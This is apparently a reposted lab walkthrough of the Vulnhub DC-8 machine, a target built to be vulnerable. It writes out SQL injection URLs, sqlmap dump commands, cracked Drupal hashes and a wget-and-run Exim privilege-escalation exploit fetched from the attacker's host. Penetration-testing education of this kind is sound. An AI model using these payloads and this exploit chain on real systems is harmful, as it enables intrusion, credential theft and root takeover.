Vulnhub靶机:DC8

news2024/9/20 22:44:38

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:DC8(10.0.2.61)

目标:获取靶机root权限和flag

靶机下载地址:https://www.vulnhub.com/entry/dc-8,367/

二、信息收集

使用nmap主机发现靶机ip:10.0.2.61

在这里插入图片描述

使用nmap端口扫描发现靶机开放端口:22、80

nmap -A 10.0.2.61 -p 1-65535

在这里插入图片描述

打开网站发现是drupal cms

在这里插入图片描述

使用droopescan工具探测drupal的版本为7.67

droopescan scan -u http://10.0.2.61

在这里插入图片描述

也可以直接访问CHANGELOG.txt文件查看版本信息:http://10.0.2.61/CHANGELOG.txt

在这里插入图片描述

使用命令searchsploit Drupal 7.67搜索Drupal 7.67的历史漏洞,都尝试一遍发现利用不了

在这里插入图片描述

查看网站发现?nid=1字段,可以试试是否存在sql注入漏洞

http://10.0.2.61/?nid=1

在这里插入图片描述

直接输入反斜杠,出现数据库报错信息,存在sql注入

在这里插入图片描述

三、漏洞利用

可以尝试报错注入

获取数据库名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,(database()),0x7e),1)

在这里插入图片描述

获取表名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

发现进行报错注入时,会出现由于数据的数量过多导致无法一次性显示所有内容

在这里插入图片描述

可以使用mid函数获取完整的数据,MID 函数用于从文本字段中提取字符。

mid函数,第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数

获取表名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)

由于这个库的表太多了,我直接使用sqlmap跑了,发现users表

sqlmap -u http://10.0.2.61/?nid=1 -D d7db --tables

在这里插入图片描述

获取users表的内容

sqlmap -u http://10.0.2.61/?nid=1 -D d7db -T users --dump

在这里插入图片描述

发现两组用户名密码,其中密码被加密了

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

将两个密码字段复制到文件passwd.txt,使用john工具暴力破解密码,得到:john:turtle

john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt

在这里插入图片描述

使用爆破得到的用户名密码登录网站

在这里插入图片描述

登录后查看网站后台各个功能点,发现可以执行php代码的地方

在这里插入图片描述

直接在里面添加反弹shell的php代码并保存

在这里插入图片描述

在首页联系我们处添加数据,点击提交即可执行反弹shell的php代码,反弹shell

在这里插入图片描述

在这里插入图片描述

获取交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

执行命令find / -perm -u=s -type f 2>/dev/null查看一下具有SUID权限的二进制可执行文件,发现/usr/sbin/exim4

在这里插入图片描述

查看一下exim4的版本exim4 --version,为4.89

在这里插入图片描述

使用searchsploit搜索exim的历史漏洞,看看也没有可利用的

searchsploit exim 

在这里插入图片描述

发现应该符合版本的本地提权漏洞,将该漏洞的exp下载下来,上传到靶机执行

主机执行:
searchsploit -m linux/local/46996.sh
mv 46996.sh /var/www/html/46996.sh
service apache2 start                                    
靶机执行:
cd /tmp
wget http://10.0.2.15/46996.sh
chmod 777 46996.sh
./46996.sh -m netcat

在这里插入图片描述
在这里插入图片描述

查看flag

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1464883.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

全球游戏市场回暖,Flat Ads推动海外获客增长

摘要:热门游戏品类分析,解读新兴市场与赛道 近日,中国音数协游戏工委发布了《2023年中国游戏出海研究报告》,据报告数据显示,2023年,全球游戏市场规模11773.79亿元,同比增长6.00%,呈现增长回暖趋势。 图源:伽马数据 1.SLG和RPG游戏热度居高不下,休闲游戏增长势头强劲 目前,S…

MacBook安装Ansible

MacBook安装Ansible Ansible介绍 ansible是新出现的自动化运维工具,基于Python开发,集合了众多运维工具(puppet、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能。 ansible是基于…

《多线程并发控制:选择正确的锁策略》:互斥锁、自旋锁、读写锁、乐观锁、悲观锁

各类锁的概念回顾 互斥锁 互斥锁加锁失败后,线程会释放 CPU ,给其他线程;自旋锁加锁失败后,线程会忙等待,直到它拿到锁; 互斥锁是一种「独占锁」,比如当线程 A 加锁成功后,此时互…

ubuntu22.04@laptop OpenCV Get Started: 015_deep_learning_with_opencv_dnn_module

ubuntu22.04laptop OpenCV Get Started: 015_deep_learning_with_opencv_dnn_module 1. 源由2. 应用Demo2.1 C应用Demo2.2 Python应用Demo 3. 使用 OpenCV DNN 模块进行图像分类3.1 导入模块并加载类名文本文件3.2 从磁盘加载预训练 DenseNet121 模型3.3 读取图像并准备为模型输…

第2.1章 StarRocks表设计——概述

注:本篇文章阐述的是StarRocks-3.2版本的表设计相关内容。 建表是使用StarRocks非常重要的一环,规范化的表设计在某些场景下能使查询性能有数倍的提升。StarRocks的表设计涉及到的知识点主要包括数据表类型、数据分布(分区分桶及排序键&#…

【DDD】学习笔记-发布者—订阅者模式

在领域设计模型中引入了领域事件,并不意味着就采用了领域事件建模范式,此时的领域事件仅仅作为一种架构或设计模式而已,属于领域设计模型的设计要素。在领域设计建模阶段,如何选择和设计领域事件,存在不同的模式&#…

通信入门系列——锁相环、平方环、Costas环

微信公众号上线,搜索公众号小灰灰的FPGA,关注可获取相关源码,定期更新有关FPGA的项目以及开源项目源码,包括但不限于各类检测芯片驱动、低速接口驱动、高速接口驱动、数据信号处理、图像处理以及AXI总线等 本节目录 一、锁相环 1、压控振荡…

探索分布式强一致性奥秘:Paxos共识算法的精妙之旅

提到分布式算法,就不得不提 Paxos 算法,在过去几十年里,它基本上是分布式共识的代名词,因为当前一批常用的共识算法都是基于它改进的。比如,Fast Paxos 算法、Cheap Paxos、Raft 算法等。 由莱斯利兰伯特(L…

AI Agent深入浅出——以ERNIE SDK和多工具智能编排为例

在过去一年里,通用大语言模型(LLM)的飞速发展引起了全球的关注。百度等科技巨头推出了各自的大模型,不断提高语言模型性能的上限。然而,业界对LLM所设定的目标不再局限于基本的问答功能,而是寻求利用大模型…

mysql入门到精通007-基础篇-事务

1、事务简介 事务是一组操作的集合,它是一个不可分割的事物单位,事务会把所有的操作作为一个整体一起向系统提交或撤销操作请求,即这些操作要么同时成功,要么同时失败。 2、操作演示 开始张三和李四账户表中都是2000元&#xf…

发布订阅模式:观察者模式的一种变体

发布-订阅模型(Publish-Subscribe Model)的底层机制通常基于观察者模式。 发布-订阅模型是观察者模式的一种变体。 在观察者模式中,主题(或被观察者)维护了一组观察者,当主题的状态发生变化时&#xff0c…

uni-app 人脸识别 App端

文章目录 背景介绍开发前准备基础版获取视频流人脸识别版本这时候就可以开心的调试了背景介绍 本文介绍如何制作人脸打卡等类似功能的实现。 使用nvue+live-pusher来实现。在App端这是成本较低的可以控制样式的方案了 实现了两个版本 基础版本:视频流 => 抓拍照片 => 传…

信钰证券午评:沪指震荡微涨,券商、银行板块拉升,Sora概念再爆发

23日早盘,沪指盘中强势拉升,一度克复3000点大关,随后震荡回落;深成指、创业板指、科创50指数等均走低;北向资金大幅流出。 截至午间收盘,沪指微涨0.02%报2988.87点,深成指跌0.48%,创…

一、网络基础知识

1、IP地址和端口号 1.1、IP地址 定义:用于在网络中唯一标识设备的地址。格式:通常由四个数字组成,以点分十进制表示,例如:192.168.0.1。(IPv4)作用:允许网络中的设备相互通信,通过IP地址可以定…

navicat导出数据库表结构信息

需求阐述 要求导出某一数据库表中的所有表的结构,汇总成一个word 准备工作 拿到所有表名,在navicat中执行sql语句:show tables;然后点击导出结果,选择excel格式进行导出。 拿到该数据库所有表名后,在navicat中执行如…

vscode【报错】yarn : 无法将“yarn”项识别为 cmdlet

问题 CMD下载完yarn可以查看到yarn版本,但是进入到vscode控制台报错无法识别,报错内容如下: vscode【报错】yarn : 无法将“yarn”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,如果包括路径&#xff…

Stable Diffusion 模型的概念、类型、下载、安装、使用

本文收录于《AI绘画从入门到精通》专栏,专栏总目录:点这里。 大家好,我是水滴~~ 我们在《Stable Diffusion WebUI 界面介绍》 时,第一个就讲到了 Stable Diffusion 模型,那么这个模型是什么?该从哪儿下载&…

C++入门学习(三十四)值传递,实参-形参

什么是值传递? 值传递(Pass by Value)是一种参数传递方式,当函数或方法被调用时,将实际参数的值复制一份传递给函数或方法中的形式参数。这意味着在函数或方法内部对形式参数的修改不会影响到实际参数的值。因为形式参…

关于数组去重new Set的详细解释

用于保持数组的唯一性 // test1 const arr [1, 1, 2, 3, 4, 3] // 是一个new Set对象 const arr1 new Set(arr) console.log(arr1); // test2 const brr [1, 1, 2, 3, 4, 3] // 现在是数组对象了 const brr1 [...new Set(brr)] console.log(brr1); 总结 使用new Set后获…

vscode突然连不上服务器了,以前都可以的,并且ssh等其它方式是可以连接到服务器的

过完年回来准备开工干活,突然发现vscode连不上服务器了,奇了怪了,年前都可以的,看了一下报错,如下, 以为是服务器挂了,结果执行ssh xxxxxx 发现是可以远程连接的,看来服务器没有问题…